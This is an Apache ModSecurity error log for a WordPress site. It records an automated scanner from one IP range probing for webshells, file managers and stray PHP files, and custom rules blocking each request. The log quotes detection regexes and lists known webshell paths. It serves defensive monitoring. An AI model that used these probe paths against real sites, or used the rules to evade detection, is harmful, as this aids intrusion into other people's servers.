[Sat Feb 28 08:40:09.629519 2026] [:error] [pid 39184:tid 39224] [client 173.244.55.25:62613] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaI5aVtZF9Zd_U7easB0hAAAAEU"]
[Sat Feb 28 08:40:10.510631 2026] [:error] [pid 39183:tid 39203] [client 173.244.55.21:27287] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaI5ahCf4HvhVePw3LaYtQAAAAs"]
[Sat Feb 28 08:40:11.393590 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.20:61461] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaI5a2uX5e1Q32gqxH0JzQAAAQk"]
[Sat Feb 28 08:40:14.506181 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.31:48635] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/mariju.php"] [unique_id "aaI5bqIAO5fN7BxyqcEejwAAAM0"]
[Sat Feb 28 08:40:16.708218 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.26:33375] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaI5cGuX5e1Q32gqxH0KMAAAAQI"]
[Sat Feb 28 08:40:18.928042 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.23:34409] [client 173.244.55.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.23, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaI5cqIAO5fN7BxyqcEeyAAAAMk"]
[Sat Feb 28 08:40:19.376514 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.23:34409] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaI5c6IAO5fN7BxyqcEe0wAAAMY"]
[Sat Feb 28 08:40:21.171610 2026] [:error] [pid 39184:tid 39231] [client 173.244.55.26:41989] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aaI5dVtZF9Zd_U7easB08AAAAEw"]
[Sat Feb 28 08:40:27.040609 2026] [:error] [pid 39184:tid 39239] [client 173.244.55.23:20479] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/product.php"] [unique_id "aaI5e1tZF9Zd_U7easB1IAAAAFQ"]
[Sat Feb 28 08:40:29.325038 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.28:41399] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaI5faIAO5fN7BxyqcEfZwAAANM"]
[Sat Feb 28 08:40:30.216905 2026] [:error] [pid 39292:tid 39304] [client 173.244.55.30:63027] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/css.php"] [unique_id "aaI5fqIAO5fN7BxyqcEfeQAAAMo"]
[Sat Feb 28 08:40:31.108463 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.22:35573] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/css.php"] [unique_id "aaI5f36mbajs3bzQGyuJKwAAAUA"]
[Sat Feb 28 08:40:31.988246 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.20:64839] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/css.php"] [unique_id "aaI5f36mbajs3bzQGyuJNQAAAU4"]
[Sat Feb 28 08:40:32.859663 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.28:59945] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/css.php"] [unique_id "aaI5gH6mbajs3bzQGyuJPAAAAUw"]
[Sat Feb 28 08:40:37.768517 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.31:65207] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/"] [unique_id "aaI5hRCf4HvhVePw3LaZRAAAAAg"]
[Sat Feb 28 08:40:39.100566 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.25:49459] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "aaI5h2uX5e1Q32gqxH0LAAAAAQQ"]
[Sat Feb 28 08:40:40.873172 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.21:65503] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aaI5iBVE-FfM89u7BQaU-gAAAIc"]
[Sat Feb 28 08:40:43.540325 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.23:20761] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aaI5i6IAO5fN7BxyqcEgDQAAAME"]
[Sat Feb 28 08:40:45.756803 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.25:58039] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aaI5jX6mbajs3bzQGyuKBwAAAUs"]
[Sat Feb 28 08:40:48.439136 2026] [:error] [pid 39183:tid 39214] [client 173.244.55.20:37803] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aaI5kBCf4HvhVePw3LaZbgAAABY"]
[Sat Feb 28 08:40:55.525341 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.23:58369] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aaI5lxVE-FfM89u7BQaViQAAAIw"]
[Sat Feb 28 08:40:56.860633 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.25:30833] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-admin/includes"] [unique_id "aaI5mH6mbajs3bzQGyuKiwAAAUY"]
[Sat Feb 28 08:41:03.055624 2026] [:error] [pid 39292:tid 39314] [client 173.244.55.29:30731] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/ao_ccss/"] [unique_id "aaI5n6IAO5fN7BxyqcEg9wAAANQ"]
[Sat Feb 28 08:41:08.819431 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.30:46437] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/images/slider/"] [unique_id "aaI5pGuX5e1Q32gqxH0MuQAAAQk"]
[Sat Feb 28 08:41:09.694269 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.23:22157] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/images/slider/"] [unique_id "aaI5pX6mbajs3bzQGyuLHQAAAUk"]
[Sat Feb 28 08:41:16.395356 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.28:63829] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aaI5rKIAO5fN7BxyqcEhwwAAAMk"]
[Sat Feb 28 08:41:18.624309 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.21:47783] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmps/"] [unique_id "aaI5rltZF9Zd_U7easB2PgAAAFc"]
[Sat Feb 28 08:41:20.813203 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.23:61689] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aaI5sGuX5e1Q32gqxH0NbwAAAQ4"]
[Sat Feb 28 08:41:22.120198 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.28:25789] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "aaI5smuX5e1Q32gqxH0NjQAAAQU"]
[Sat Feb 28 08:41:24.748842 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.21:28903] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2023/"] [unique_id "aaI5tKIAO5fN7BxyqcEiNQAAAMU"]
[Sat Feb 28 08:41:28.265627 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.26:22513] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aaI5uH6mbajs3bzQGyuMcwAAAVM"]
[Sat Feb 28 08:41:31.860037 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.20:46141] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaI5u36mbajs3bzQGyuM0AAAAUs"]
[Sat Feb 28 08:41:32.743287 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.29:34495] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaI5vKIAO5fN7BxyqcEigwAAANM"]
[Sat Feb 28 08:41:33.641750 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.29:55933] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaI5vWuX5e1Q32gqxH0OHQAAARc"]
[Sat Feb 28 08:44:26.157307 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.26:42963] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaI6amuX5e1Q32gqxH0XFQAAAQM"]
[Sat Feb 28 08:44:27.911060 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.21:54359] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/kill.php"] [unique_id "aaI6a2uX5e1Q32gqxH0XNgAAAQA"]
[Sat Feb 28 08:44:29.222555 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.23:39137] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaI6bWuX5e1Q32gqxH0XVAAAARg"]
[Sat Feb 28 08:44:32.744668 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.20:30325] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaI6cGuX5e1Q32gqxH0XxwAAARI"]
[Sat Feb 28 08:44:34.978128 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.25:24525] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaI6cqIAO5fN7BxyqcErmgAAAME"]
[Sat Feb 28 08:44:38.549661 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.22:27467] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaI6dmuX5e1Q32gqxH0YLwAAAQE"]
[Sat Feb 28 08:44:39.436349 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.25:42957] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaI6d36mbajs3bzQGyuWegAAAUE"]
[Sat Feb 28 08:44:40.767111 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.20:38221] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaI6eFtZF9Zd_U7easB7LgAAAFY"]
[Sat Feb 28 08:44:41.637191 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.26:35557] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaI6eaIAO5fN7BxyqcEryQAAAM4"]
[Sat Feb 28 08:44:42.533459 2026] [:error] [pid 39292:tid 39310] [client 173.244.55.26:42071] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaI6eqIAO5fN7BxyqcEr2wAAANA"]
[Sat Feb 28 08:44:43.423275 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.26:39479] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaI6e6IAO5fN7BxyqcEr5gAAAMU"]
[Sat Feb 28 08:44:44.316019 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.20:43093] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaI6fKIAO5fN7BxyqcEr8gAAAMA"]
[Sat Feb 28 08:44:45.643245 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.28:65111] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaI6fWuX5e1Q32gqxH0YlAAAAQs"]
[Sat Feb 28 08:44:47.416228 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.20:39825] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaI6fxVE-FfM89u7BQadCwAAAJU"]
[Sat Feb 28 08:44:49.213321 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.26:45875] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaI6gWuX5e1Q32gqxH0Y1QAAAQs"]
[Sat Feb 28 08:44:50.535602 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.31:36061] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaI6gmuX5e1Q32gqxH0Y9QAAAQ8"]
[Sat Feb 28 08:44:51.851650 2026] [:error] [pid 39292:tid 39306] [client 173.244.55.26:22175] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaI6g6IAO5fN7BxyqcEsawAAAMw"]
[Sat Feb 28 08:44:53.609008 2026] [:error] [pid 39183:tid 39205] [client 173.244.55.31:57869] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI6hRCf4HvhVePw3Lad2AAAAA0"]
